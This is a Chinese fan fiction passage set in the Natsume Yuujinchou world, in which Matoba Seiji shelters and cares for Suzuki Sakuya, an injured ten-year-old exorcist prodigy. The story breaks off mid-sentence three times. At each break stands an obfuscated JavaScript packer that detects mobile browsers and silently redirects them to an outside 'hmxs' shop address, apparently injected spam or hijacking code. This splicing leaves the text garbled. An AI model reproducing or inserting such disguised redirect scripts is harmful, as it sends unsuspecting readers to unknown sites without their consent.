《[夏目]的场家的除妖师日常》 1. 第一章 庇护 * 像往常那般,的场静司在傍晚来临前准时抵达本宅。 “静司,当家正在会客室等你。” 的场静司看向一旁的七濑,“有重要的客人来访?” “是的。” 七濑边陪着少年往里走边解释着。 “是早已没落的除妖师铃木一系,据说这一代突然出现了妖力强大的后代。” “只是明明是珍贵的子嗣,却因家族的没落无法受到很好的教养和保护。” “那个可怜的孩子最近因为妖怪袭击遭遇了意外,他的父亲只好求到当家这里,恳求的场家庇护那孩子……” “这样啊,强大的后代吗……” 的场静司有些好奇。 “是啊,据说仅靠先辈遗留下来的笔记,就封印了一只厉害的大妖。” 七濑感叹道:“不过那孩子也因此遭受重创,实在太可惜了。” 的场静司若有所思地点点头。 早已没落的除妖师家族中,突然出现了一个妖力强大的后代,会如何呢? 当然,是会成为妖怪们觊觎的美味。 * “铃木君,像朔也那样的孩子是无法被普通人养育的,你应该早有觉悟才对。” 的场静司听见父亲的声音从房间里传出来,显得十分冷酷。 七濑拉开会客室的门,的场静司就看见了正拘谨地端坐在父亲对面的男人。 父亲看了他一眼,对着男人笃定地承诺道:“铃木君,这是我的儿子,的场静司。等朔也搬过来后,我会让静司亲自照看他。” 男人满面愁绪,却还是努力挤出僵硬的笑容和的场静司打了招呼。 “犬子以后就拜托的场少爷了。” 男人的头恭敬地低了下去,整个人散发着无能为力的苦涩。 的场静司静静地看着他,虽然心里存有被父亲突然强加责任的不悦,但终究没有表露出来,只是平静地回应道:“铃木先生不用担心,我会保护他的。” 的场静司穿着高中制服,看外表也不过是少年人的模样,但铃木慎吾对他早有耳闻。 据说这位的场家未来家主候选人,不仅有着强大的妖力,其他能力也很优秀,被的场家寄予厚望。 有这样的人庇护和引导,朔也一定会好好长大吧…… 铃木慎吾即便如此宽慰自己,也依然无济于事。 “我会将朔也当做自己的孩子一样抚养。” 也许是同样身为父亲的共情,向来强硬的的场家主难得宽慰了男人一句。 的场静司却能透过父亲虚伪的温情感受到他的愉悦。 看来,那个名叫“朔也”的孩子确实有着非同一般的力量。 * 的场静司不是一个对长辈安排言听计从的人,不过,对照看“铃木朔也”这件事,他倒是不太抵触。 的场家曾经联合十一个家族组成了强大的除妖师组织,但时至今日,大部分曾经的合作者都已经没落凋零,的场家有能力的后辈也日益减少。 虽然现在还有值得期待的继承者,但再过几代,家族的命运亦未可知。 力量强大的新鲜血液,对的场家来说非常重要。 的场静司相信,如果不是铃木先生没有同意,父亲一定会选择直接过继那个孩子。 而特意安排自己亲自照看,也说明父亲并未打消过继的念头,不过这种事情…… “静司,医院到了。” 的场静司睁开眼,看向窗外。 这种事情,是否也需要考虑那孩子的感受呢。 * 这里……是哪儿? 铃木朔也疲惫地站在微弱的光线里,看着逼仄的长廊向远处无限延伸,消失在黑暗之中。 一阵鬼祟的窸窣声从背后传来,朔也猛地转过头,看向无尽长廊的另一头。 令人毛骨悚然的危险气息在黑暗里迅速蔓延,伴随着越发诡异的声响,好似有什么尖锐而沉重的东西正从地板上划过。 “还……给……我……” 这不似人类的声音和语言,朔也却能够听懂,那声音里有着直白的杀意。 朔也咬紧不自主颤抖着的牙齿,突然转过身,拖着疲惫而麻木的身体,拼命向前奔跑。 但脚下的地板却不知为何变得柔软起来,支撑身体的力气被陷下去的地面吞噬殆尽,不管朔也多么努力,背后鬼魅般的声音依然越靠越近。 “给……我……给……我……还给我!” 朔也被起伏的地板绊倒在地,他依旧不放弃地向前爬去,一股冰冷刺骨地气息却缠住了他的脚踝,朔也猛地回头,恐惧而绝望的眼泪从眼中溢出—— “不要!!!” “朔也!怎么了?朔也!!!” 铃木朔也惊慌地扫视四周,视线逐渐变得清晰,对上父亲担忧的眼神。 “这、这是哪儿?”他颤抖着问道。 铃木慎吾轻柔地抚摸着儿子的脊背,安慰道:“这里是医院,没事了,别怕!你在这里很安全!” 明亮而安静的氛围让朔也逐渐安定下来,他靠在父亲怀里,努力让过快的心跳慢慢恢复稳定。 他想起来了。 不久前,他用祖辈留下来的阵法封印了那只纠缠他的妖怪,自己也受了伤…… 铃木朔也看向自己缠满绷带的双手,有些地方沁出淡淡的粉色,他能够闻到自己血液的味道。 “怎么了,朔也,还是很痛吗?” 朔也慢慢摇了摇头,他只是不敢相信,自己竟然真的做到了。 其实直到实施那个计划之前,他都以为自己将必死无疑。 “看来,这孩子比我以为的要大胆得多。” 陌生的声音突然响起。 朔也抬头,看向不知何时站在病房门口的两人。 说话的声音听起来很年轻,是那个穿着高中制服的人,明明他的旁边还站着一位年长的严肃女士,朔也却觉得笑眯眯的高中生更让人忌惮。 “啊,的场少爷,没想到您竟然亲自来了……” 铃木慎吾拘谨地打着招呼,对少年的来访感到很意外,看来的场家的少主比自己以为的更重视那天的承诺。 两人寒暄了几句,的场静司便直白地说道:“铃木先生,我想和这孩子说会儿话,可以吗?” 铃木慎吾在一旁七濑女士的暗示下才反应过来,这是一场只有两个人的会面,他担心地看向年仅十岁的儿子,不确定对方想和朔也说些什么。 朔也安静地看着父亲,微微点了点头。 男孩的反应让铃木慎吾瞬间酸了鼻子,他的孩子过早地接受了很多东西。 * 等到病房里重新变得清静,的场静司走到男孩病床边坐下,饶有兴致地打量着因为多处包扎而看起来可怜兮兮的朔也。 “关于你的眼睛,铃木先生知道吗?” 朔也猛地睁大眼睛,不可置信地看向他。 “在他眼里,你的双眼应该都是黑色的吧?” 的场静司突然凑近,吓得朔也往后仰了仰,跌进枕头里。 的场静司却没有放过他,反而凑得更近了,如同欣赏什么美丽器具般感叹道:“很美呢,你的左眼,像是琥珀一般,啊、比起琥珀,不如说更像月光吧……” “你、你看得见?”朔也惊讶地问道。 “嗯。” 的场静司微笑着,带着几分理所当然的傲慢。 “虽然眼睛上附着的妖力逸散得并不多,但只要力量足够强,就能清晰看见。” “我、我从来没有碰到过可以看见它的人……” 朔也皱着眉,轻声说道:“只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751151|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妖怪可以看见,它们、它们说……” “嗯?” 的场静司退回原来的位置,静静地聆听。 这样的态度让朔也打消了一些疑虑,有些犹豫地说道:“它们说我是妖怪的孩子……” 的场静司轻笑了一声。 朔也的脸顿时红了起来,他结结巴巴地强调道:“它、它们都、都是这么说的!” 的场静司笑得更明显了一些, “所以你相信那些家伙吗?” “当然不相信!”朔也皱起眉头,低声抱怨道:“妖怪总是喜欢说些让人困扰的话。” 的场静司的视线扫过朔也身上隐约沁出血色的纱布,淡笑着感叹道:“啊,是呢。” “的……的场先生,我可以这么称呼你吗?” 在刚刚的震惊过后,朔也反而不像之前那样,对这个的场家来的人感到陌生和畏惧。 “看来铃木先生已经告诉你了?” 朔也点点头,“是的,爸爸说我以后会去的场家生活……” 的场静司仔细打量朔也的神情,男孩微微皱着眉,有些许困扰,但又显得十分平静,好似如同成熟的大人一般,无奈而妥协的接受了不如意的现实。 “你觉得如何呢?关于这件事。” 朔也愣了一下,转头看向病房门口,父亲和那位女士就在病房之外,他可以透过朦胧的玻璃看到父亲的身影。 “我……如果继续住在家里的话,会给他们带来灾祸……”朔也喃喃地说道:“不知道为什么,出现在附近的妖怪越来越难缠了,我没法像原来那样赶走它们……” 的场静司看了男孩一会儿,突然抬手摸了摸他的头,笑着说道:“那就来的场家吧,我会保护你的。” 对方抚在自己头上的手明显小心地避开了缠绕着的纱布,动作也很轻柔,笑眯眯的样子看起来有些难以捉摸,但朔也感受到了一种直接而坦率的态度。 来自那个让很多人忌惮的,的场家的……奇怪的人。 朔也微红着脸,俯身道谢。 “谢谢的场先生。” “朔也,可以叫我静司哦。” “啊?好的!”朔也的脸更红了些,“谢谢静司先生!” 啊,是很努力又可爱的孩子呢。 的场静司漫不经心地想着,看来那些麻烦的家伙偶尔也会给的场家带来些好处。 * 在探望过朔也后回程的路上,的场静司突然问道:“七濑桑,都安排好了吗?” “是的,那孩子会被转到我们合作的医院,那边会更细心一些。” 七濑一边说着一边打量着少年的神色,略感意外地问道:“看来你对那个孩子很满意?” 的场静司没有反驳,而是很随意地说道:“朔也的眼睛,很有趣。” “嗯?有什么特别的吗?” 七濑回想起男孩的模样,和的场家一脉一样是深色的头发和眼睛,不过倒是比年幼时的静司可爱许多…… 就连七濑也看不见么? 的场静司陷入沉思。 朔也对自己的眼睛很在意,特意询问他是否知道眼睛异常的缘由,但他只是能“看见”而已,此前也未曾听闻过类似的事情。 说起来,妖怪和人类因为种种不可知的遭遇而产生的奇怪交集并不少。 据说那位隐居的除妖师依岛先生便有一只手臂是妖怪幻化而成的。 前不久认识的名取家的除妖师新人,大概也为无法驱逐游走在身体中的“痣”而烦恼。 像的场家这样,因为毁约而招来妖怪的报复,反而是很“正常”的人妖纠纷了。 人类和妖怪,明明应该互相远离。 却不知为何总生出一些让人难以理解的纠缠。 不过,也正是因为这样,的场家才得以存在吧。 2. 第二章 照看 * 在较重的伤处都好转后的某一天,朔也被接到了的场家。 “朔也少爷,这是您的房间,和静司少爷的房间相邻哦。” 朔也红着脸,被温柔的女仆姐姐迎进自己即将久居的地方。 这是一间宽敞的和室,即便已经摆放了精致而齐全的家具也不显局促。 不出意料的,是和铃木家完全不一样的地方。 铃木家族没落已久,原本宽敞的老宅早在祖父那一辈就出售了,后来几经辗转,铃木先生带着妻子在工作的地方稳定下来,随大流一般建造了一户建的房子,可能比寻常的一户建稍微宽敞些,但和的场家这样的和式庄园完全是两回事。 朔也觉得,哪怕只是这间和室,也太大了。 充满了陌生而多余的空间,让人不安。 不过如果说出来的话,一定很失礼吧。 难免有些拘谨的朔也跟着女仆千夏参观了庄园的一小部分,多是朔也日常可能需要去的地方。 在熟悉环境的路程中,朔也偶尔会看到一些穿着黑色和服的人在庄园里走动,但那不是令他感到惊奇的部分。 让朔也忍不住驻足停留的,是跟在那些人身后的,妖怪们。 从很小的时候开始,朔也的身边就经常出现各类妖怪。 一开始,朔也根本分不清它们和人的区别,只以为那是一些长得不同的人类。 直到父亲发现他的异常,告知他妖怪的存在和家族的历史。 不听、不看、不言——这是父亲对朔也的严厉要求。 不和妖怪对视,更不能和妖怪对话,不能让妖怪知道他能看见它们,只有不和妖怪产生任何联系,才是最安全的。 但这对一个孩子来说太难了。 越要显得不在意,反而越在意。 更何况朔也的力量随着成长越来越强,站在人群中的他对妖怪来说可能像黑暗中的烛火一样显眼。 逐渐有妖怪特意找上朔也,它们有的是好奇地戏弄他,更多的则是带有恶意的窥视和觊觎。 为减少父亲的担忧,朔也开始翻找家族先辈们留下来的笔记,努力自学各种不知道是否有用的奇怪知识,磕磕绊绊地驱赶各种妖怪。 这样的过程当然足够糟糕,甚至随着朔也驱赶的妖怪增多而越来越糟糕,不知从何处而来的袭击不分昼夜地随机出现……那真是一段让人提心吊胆的噩梦。 总之,朔也厌恶妖怪。 “朔也想拥有式神吗?” 朔也转头看向身后,的场静司不知什么时候过来了。 “静司先生。” 朔也微微鞠躬打了招呼,再看向窗外时,刚刚的那些妖怪式神们已经不见踪影了。 “静司先生,式神必须是妖怪吗?”朔也蹙眉问道。 的场静司微微挑眉,有些诧异,他想了想,回道:“虽然没有听说过存在不是妖怪的式神,但……也许还有其他的方式。” “那些足够强大的妖怪,真的会心甘情愿被人类驱使么?” 朔也怀疑地说道:“它们所追求和遵循的,和人类完全不一样,不是吗?” 的场静司看着男孩表情严肃地质疑,不禁笑了起来,他揉了揉朔也的头发。 “是啊,还真是奇怪呢。” * 已近傍晚,的场静司带着朔也去往餐厅。 为了欢迎家族新成员的到来,今晚是比较正式的晚餐,家族里重要的长辈都会过来。 朔也跟在的场静司身后安静地走着,当路过一扇门前时,奇怪的感觉让朔也不自觉停下了脚步。 “怎么了?” 的场静司转过身,看着朔也像是炸毛的小猫一般警惕地盯着对面那扇门。 “这里……很奇怪。” 朔也有些紧张。 “啊,很敏锐呢,朔也。” 的场静司笑着走过去,拉开门,“既然感兴趣的话,一起看看吧。” 朔也慢慢地挪到门口,戒备地往里看去。 这是一个像收纳室一样的空间,整齐摆放的架子上放满了各种奇怪的东西,朔也的视线在室内逡巡,而后落在一个漆黑的陶壶上,壶口贴着封条。 “是被封印的妖怪吗?” 朔也有些好奇,但依然谨慎地站在门边,不愿意靠近。 “应该是七濑桑最近刚封印的,还没来得及处理。” 的场静司拿起陶壶看了看,再看向朔也时,又被朔也紧张的表情逗笑了。 “看来朔也真的很讨厌妖怪。” 朔也始终没有迈进房间里,整个人流露出默默地排斥,就连小心翼翼扒在门上的手都显露出抗拒的姿态。 的场静司的视线扫过男孩依然绑着绷带的双手,放下陶壶。 “走吧,朔也。” 关上房间的门,的场静司自然地伸出手。 朔也不太放心地看向那扇门,一边下意识地将自己的手放到了那只更大一点的手里。 “那个,就这样放在这里,可以吗?” “不用担心,虽然会溢出一些妖气,但其实封印很强,那家伙是没法在的场家乱来的。” “哦……” “朔也,真可爱啊。” “诶?!” * 有着长久传承的大家族在大部分人的想象中都是非常守旧的,就连生活里也延续了繁琐而讲究的规矩。 但实际上,的场家的内部氛围并没有那么严肃。 尤其像朔也这样有天赋的孩子加入的场家是一件让大家都感到振奋的事情。 来参加晚餐的长辈们都对朔也很和蔼,也对的场静司的表现感到有些意外。 的场本家最年轻的这一代,只有的场史信和的场静司两个孩子。 身为长姐的史信性格乖僻,和弟弟静司的相处不算融洽,两个孩子经常互相较劲。 理所当然的,静司的性子也不算亲和,甚至时常因为过于直接而显得傲慢。 很难想象这样的静司会很亲近地照顾另一个人。 但现实就是,自从晚餐开始,的场静司一直关照着坐在他旁边的朔也。 不仅让人将筷子换成了叉子,方便手伤未痊愈的朔也使用,还将自己桌上的餐食和朔也的调换了一些。 “静司少爷似乎很喜欢那孩子。” 坐在的场家主附近的某位长辈突然低声笑说道。 其他人闻言纷纷看过去,三三两两的讨论起来。 “史信小姐离家后,本家这边就只有静司少爷一个孩子了,大概是有些寂寞吧。” “静司少爷也开始担起作为兄长的责任了。” “是呢,这两个孩子看上去就像亲兄弟一般。” …… 的场家主非常满意。 成年后加入的场家的除妖师们,更多考虑的是利益。 但朔也还很小,他会让静司亲自照顾朔也,当然是希望两个人结下手足情谊。 一个强大又有情感羁绊的助力,可以帮助静司让这一代的的场家更加稳固。 静司能如他所想一般的执行,仅这一点,就已胜过叛逆离家的长女。 * 吃过晚餐,又处理了不少事务,刚回到房间的的场静司就被照顾朔也的千夏堵在了门口。 “朔也不愿意洗澡?” 的场静司愣了一下,而后想起朔也还未痊愈的双手,现阶段肯定不能沾水。 之前在医院的时候,应该是护工或者铃木先生帮他洗的,现在…… 的场静司看向担心的千夏,瞬间明白了,他忽然笑起来。 “我来帮他吧,那孩子应该是太害羞了。” 千夏眨了眨眼睛,掩嘴笑了。 “真可爱啊,那就麻烦静司少爷了。” 被女仆姐姐夸赞可爱的朔也,没过多久就被脱光光,高举着缠着防水膜的双臂,满脸通红、一声不吭地坐在了浴室的小板凳上。 的场静司拿着花洒开始给朔也洗头,动作有些生疏。 毕竟,这是静司从未有过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751152|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的体验。 的场一门分支很多,族内比静司年幼的孩子有不少,但不知道什么缘故,那些孩子都有些畏惧他。 其实不光是孩子,他也不招动物喜欢,所以不仅没有照顾小孩的经验,就连照顾小动物的经验也没有。 但像朔也这样的孩子,某些时候不是和那些毛茸茸的小动物一样么? 的场静司揉搓着手里细软的头发,心不在焉地想着。 “唔!” 朔也闷哼了一声。 的场静司低头看过去,“啊,抱歉,扯到头发了吗?很痛吗?” 手里的小脑袋点了点,又摇了摇。 的场静司盯着眼前的小脑袋看了一会儿,手上的动作更轻了一些。 可真是难办啊。 让习惯拉弓的手做这样的事,果然有些勉强呢。 * 洗漱后回到房间的朔也,终于从难为情的状态里解脱出来。 他趴在松软的床褥上,努力给自己催眠,静司先生帮他洗澡总比女仆姐姐帮他洗好多了,至少都是男孩子! 虽然这么想着,他还是深深叹了口气。 手上的伤口什么时候才能好呢? 朔也看向从双手缠绕到手臂的绷带。 封印那只妖怪时,冲击过来的妖气像利刃一样,严重地割伤了他,最深的地方都能看见骨头。似乎也因为残留妖气的缘故,伤口疼了很久,而且愈合得很慢。 妖怪真的好讨厌。 朔也在心里抱怨着,慢慢地睡了过去。 * 当朔也浑身冷汗地从噩梦中惊醒时,有些后悔。 不该睡前想起那个妖怪的。 他缩在被子里,在夜灯昏黄的微光里打量着房间。 就像他白天感知到的那样,房间太大了。 那些被昏暗笼罩的空荡角落,似乎成了某些未知之物的温床,似有若无的窥视感在其中游走,蠢蠢欲动。 朔也瞪着双眼,和整个房间僵持了一会儿,突然披着被子站了起来。 * 的场静司醒来时,深夜已过半。 这不是寻常的规律。 他想了一会儿,起身走向门口。 隔壁就是朔也的房间。 的场静司轻轻拉开隔壁的门。 夜灯还亮着,但床褥上却没有人。 静司打量了一圈,走向一边的壁橱。 当壁橱被拉开时,裹着被子缩在角落的朔也脸正憋得通红。 睡梦中的男孩努力蜷起自己的身体,额发被冷汗浸湿,牙齿咬得紧紧的,偶尔发出不安的呓语。 “朔也。” 的场静司轻声叫着他的名字。 朔也猛地哆嗦了一下,睁开眼睛。 “朔也,还好吗?” 的场静司看着朔也的视线逐渐聚焦,那只琥珀色的异瞳在极微弱的光线里却显得出奇的亮。 朔也大口喘息了一会儿,随着呼吸慢慢平缓下来,异瞳也逐渐恢复了以往的样子。 * 的场静司没问朔也梦到了什么,而是直接把朔也领到了自己的房间。 新的床褥就铺在静司的旁边。 两人在沉默中重新躺回各自的被子里。 静司房间里没有夜灯,漆黑一片,而且出奇得安静。 在这种静谧的空间,一个人的呼吸可以暴露很多事情。 的场静司侧过身,看向朔也睡着的方向。 “还是很害怕吗?” 少年轻缓的声音在夜里显得很温柔。 “那到我怀里来吧。” 过了一会儿,伴随着窸窸窣窣的声响,朔也像是静司想象中的猫咪一般,摸索着钻到了他的身边。 朔也侧身,将双手小心地收在身前,微微低着头,依然是蜷起来的姿势。 的场静司放下刚刚掀起的被子,手顺势揽过朔也的背,像撸猫一样轻轻地抚了抚男孩瘦巴巴的脊背。 这一次,朔也安心地睡着了。 3. 第三章 憧憬 * 让一个十岁的孩子独自去往陌生的地方生活,总是很难放心。 作为父亲的铃木慎吾只忍耐了两周就再次拜访了的场家。 但眼前的朔也似乎比他预想更快地融入了这里。 男孩看起来很有精神,虽然被女仆关照时有些羞涩,但没有身处于陌生地方的拘谨,甚至…… 铃木回想起朔也在家时的样子,尤其是在意外发生之前,朔也很长一段时间都很沉默、紧张,似乎时刻在防备着什么,除了上学之外一直把自己关在房间里。 直到意外发生,铃木慎吾才意识到朔也那时正被可怕的妖怪追击着……但其实他早该想到的。 铃木慎吾仔细地打量朔也,这孩子显得开朗了许多,或者说,不再时刻警惕危险,安心地放松下来了。 的场家,对朔也来说果然是最安全的地方吧。 铃木慎吾稍微放心了些。 “爸爸,家里还好吗?”朔也犹豫了一下,“我是说,还会有奇怪的事吗……” “一切都好。”铃木苦笑着安慰道:“翔平的话你不要在意,他只是……太不安了。” 铃木翔平是比朔也大两岁的哥哥,或许是不知道如何面对和常人不同的弟弟,又或者是因为朔也的异常行为而感到压抑,在一次情绪爆发时,冲动的少年人口不择言,指责朔也的存在给家里带来了不幸。 开始进入青春期的孩子敏感而尖锐,即使对弟弟说了过分的话也倔强地不肯道歉。 朔也重伤住院后,翔平可能也意识到了什么,但少年期偏执的自尊让他难以展现温柔的一面,只是别扭地去探望了几次。 兄弟俩恢复了表面的和平,但恶言依然在朔也心中留下了痕迹。 “翔平很担心你。” 铃木慎吾叹息一声。 在知道朔也已经出院住到的场家之后,翔平曾经问他,弟弟是不是不会再回来了。 尽管铃木慎吾给了否定的回答,但那天翔平在朔也的房间里呆了很久。 “不用担心,静司先生很关照我,我在这里很好。” 朔也微笑着,突然想起什么,从衣兜里掏出一张比手掌略大些的符纸递给父亲。 “最近七濑阿姨在教我画符咒,我试着画了守护符,七濑阿姨说这张符成功了,所以应该会有点作用。” 铃木慎吾接过符咒,他并没有传承家学,不懂这些,只觉得这张符和先辈笔记上的那些很相似,看着有模有样。 “朔也还真是厉害啊。” 铃木慎吾感到十分可惜,如果朔也是出生在几十年前,铃木家的传承想必不会断绝。 朔也不好意思地挠了挠脸颊,低声说道:“爸爸可以把它转交给哥哥吗?” 但转念一想,朔也又有些犹豫,“不过哥哥一直很讨厌这些,可能会生气……” “不会的!” 铃木慎吾笑起来,“能收到这样饱含关心的礼物,翔平大概会很得意吧。” * 见到朔也一切都好,铃木慎吾比来时安心许多。 不过毕竟是在的场家,他没待多久就离开了。 朔也在大门口目送父亲开车远去,只稍微多留了一会儿,就看见另一辆车进入了庄园。 是静司先生回来了。 的场静司目前正在一所私立高中读书,据说这所高中还有附属的小学和中学。 七濑告知过朔也,等他身体彻底痊愈后就会转学到小学部就读,如无意外,以后会和的场静司一样,直升至高中部。 朔也看着的场静司从车上下来,提着书包和他打招呼,才有了点静司先生还只是高中生的实感。 在来的场家的这一小段时间里,朔也见到的的场静司和在本家里来来去去的成年除妖师没多大区别。 或者说,因为的场静司处理家族事务时从容的上位者姿态,让人很容易忽略他的年龄,只觉得是既有威势又足够让人信任的领导者。 以及,在朔也这里,他还是有些奇怪、但温柔可靠的兄长。 “我马上要去道场练习,朔也要来看吗?” “嗯!” 朔也用力点点头,有点兴奋。 “静司先生,我可以一起练习吗?” 的场静司看了看朔也的手,他最近帮朔也换过药,见过那些伤口,因为残留的妖气,伤口愈合得实在太慢了。 “现在还不行呢。”大概是对方眼中的期待实在过于明显,静司想了想,补充道:“不过可以试试你的弓。” 十岁的年纪对学习射箭来说稍微晚了一点,但也无大碍。朔也是一个专注力很强的孩子,学起来应该比其他孩子更容易一些。 而朔也的弓,则是的场静司幼年时使用的一把小弓,朔也还在弓身尾部发现了代表的场静司的刻纹。 曾经属于静司先生的弓现在成为了他的,这让朔也感觉自己好像参与到了某种传承之中,似乎被他人抱有了更多期待。 很微妙的感觉,甚至多了些压力。 但是并不讨厌。 朔也兴致勃勃地学习了一些入门的基础知识,在的场静司的指导下试了自己的弓,然后在一旁观摩对方的练习。 的场家的孩子都是从小习弓,这是他们作为除妖师必备的能力。 多年的磨炼能让朔也看见的,就是的场静司一如既往的从容姿态。 明明是重磅的弓,拉弓射箭的样子却非常松弛,若不是年轻人的神情端正而沉静,大概会显得这样的练习太过随意。 这种游刃有余,是朔也一直憧憬的属于强者的样子。 真厉害啊,静司先生。 朔也定定地看着道场中持弓的身影,羡慕又向往。 的场静司若有所觉,他看向安静跪坐在一旁眼巴巴望着他的男孩,那只异色的眼睛在折射进来的阳光的映照下,显得很是明亮。 他忍不住牵动嘴角。 虽然照看朔也是他需要尽到的责任,但不得不说,照看这样可爱的孩子,并不是负担。 反而,像是他的某种期望被回应了。 如果如父亲所想,将朔也过继到的场家来,那么…… 朔也一定会成为他的同伴吧。 * 朔也的痊愈是在来到的场家的三个月后,时间已经从春末溜到了暑假,于是朔也只能等暑假结束后再去学校。 因为担心课业,七濑还给他找了一位补习老师。 朔也便在的场本宅里过上了如同寄宿生一般的生活。 每天按部就班地跟着七濑安排的除妖师学习,然后是补习,最后是跟着的场静司习弓,每一天的时间都安排得满满当当,只有铃木慎吾来探望的时候,朔也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751153|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才有些许闲暇。 铃木慎吾原本担心这样的生活对朔也来说太过枯燥,但看朔也完全是乐在其中的样子,也不好置喙太多。 实际上,就算的场家主暂时未再提起过继的事,铃木慎吾也已有了逐渐失去朔也的感觉。 的场家的庇护,是有代价的。 而作为被庇护的一方,年纪尚小的朔也并未意识到太多,他如同一颗种子,开始在这个逐渐熟悉的大宅子里安定下来。 这里除了听话的式神,不会有其他妖怪出现,连带着那些和妖怪有关的梦魇也不再频繁地骚扰他。 所有人都很关照他,他无需顾虑太多,只要专心学习就好,而他曾经厌恶过的异于常人的力量,在这里反而成了优于他人的天赋。 每当他学会一样东西,周围的人总会流露出惊喜的神情,这让他想努力做到更好,做到像静司先生那样。 所有事情中,可能唯一让朔也感到困扰的,就是顽固地盘踞在他手上的伤痕。 朔也不是疤痕体质,他身上其他的伤口都只留下了淡淡的痕迹,时间再久一点应该会自行褪去。 唯独双手上的伤,那些妖气不只是影响伤口愈合,还留下了显眼的疤痕,它们如同细碎的竹叶一般,覆盖了从手掌到小臂的部分,十分碍眼。 朔也并不担心疤痕,但要是过于显眼而可怖的话,总是容易引来他人不必要的关注。 出于这种考虑,朔也在伤愈后也依然使用着绷带,将从手指以下的手掌到小臂全部覆盖。这样虽然也有些显眼,但至少不会轻易吓到别人了。 “有些独特之处,不正是强者应有的孤高吗?” 对于朔也的处理,的场静司笑眯眯地评价道。 “真的吗!静司先生,你是这么想的么?” 朔也眼睛发亮,忽然觉得碍眼的绷带莫名变得顺眼起来。 “静司,请不要对这孩子说这些!”一旁的七濑有些无奈。 但终归,朔也不再过于在意那些疤痕了。 * 朔也自从搬来的场家后就再也没有出去过。 第一个意识到这件事的人,是的场静司。 当他最近一次碰到来探访的铃木慎吾时,在寒暄的过程中,铃木慎吾提及他提前给朔也送来了换季的衣服。 原来不知不觉就快秋天了啊。 然后的场静司就想到了一直宅家的朔也,以及朔也被安排得井井有条的日程表。 说实在的,这有些过分了。 哪怕是从小就被作为继承候选人培养的静司,在像朔也这么大的时候,也不至于连出去玩耍的时间都没有。 “朔也有想去的地方吗?” 当的场静司询问起来时,朔也眨巴着眼睛愣了好一会儿。 “我可以带你去哦。”的场静司微笑着,如此承诺道。 但出乎意料的,朔也似乎对出去玩耍的兴趣并不大。 或者说,好像顾虑着些什么。 “静司先生有想去的地方吗?” “唔……”的场静司想了想,笑道:“大概有很多吧,但也许不是什么好地方。” “那我可以去静司先生想去的地方吗?” 的场静司微微睁大眼睛,停顿了一瞬,才在朔也期待的眼神中回应道。 “如果你不觉得无聊的话。” 4. 第四章 聚会 * 在两人约定后不久的一个下午,刚送走补习老师,正独自在房间里做作业的朔也,看到的场静司仿佛正防备着什么一般,躲进了他的房间。 惊讶的朔也正准备发问,就被少年竖在唇前的手指止住了。 朔也好奇地眨了眨眼睛。 「发生什么事了,静司先生?」 的场静司微笑着摸了摸朔也的头,将手里的袋子递给他。 朔也懵懂地接过来,发现里面放着一套和服。 他抬头,默契地没有出声,用手指了指衣服,然后又指了指自己。 「需要我换上吗?」 的场静司点点头。 于是,在莫名有些滑稽的沉默里,朔也在的场静司的帮助下换好了衣服。 他已经从这个过程中预感到了未知的乐趣,跃跃欲试地看向的场静司。 「然后呢、然后呢?我们要做什么?」 然后,的场静司带着朔也,像是玩躲猫猫一样,躲过宅院里的人,从侧门悄悄离开了。 直到车开出去一段距离,朔也才忍耐不住地兴奋问道:“静司先生,我们要去探险吗?” 的场静司笑眯眯地说道:“我们要去偷吃好吃的东西。” “诶?!” 朔也瞪大眼睛,怀疑对方是在开玩笑,但又不自觉地好奇。 “是什么好吃的呀?” “唔,不太确定……”的场静司回忆了几秒,“大概是一些高级点心吧。” “哇!” 朔也的眼里几乎闪现出了小星星,没有哪个孩子可以对点心无动于衷。 在朔也眼巴巴的盼望里,车子开进了一座和的场家相似的庭院。 下车之前,的场静司掏出两个面具,让朔也学着他的样子戴好。 朔也已经被这样奇怪神秘的举动彻底折服,认真地参与到这场游戏一般的出行中。 “静司先生。” 戴上面具的朔也不知为何下意识地小小声说着话。 “这里是哪里呀?” 的场静司觉得有趣,他俯下身同样小声地说道:“这里正在举办除妖师的聚会,我们要潜入进去,而且不能被他们发现我们的真实身份。” “诶?为什么呀?”朔也不禁问道。毕竟的场家就是很有名的除妖师家族。 “的场家在这里可不受欢迎哦。” “咦?” 朔也很不解,但的场静司没有给他更多的思考时间,直接带他走向入口处。 “这位……也是除妖师吗?” 入口处的侍者在接过的场静司的请柬凭证后,看向他身后迟疑地问道。 “这是我的式神。”的场静司弯起嘴角,“虽然看上去很乖巧,但其实异常凶恶,请勿接触他。” 带着面具的朔也静静地站在的场静司身后,明明是小孩子的身形,却莫名流露出一丝类人又非人的诡异感觉。 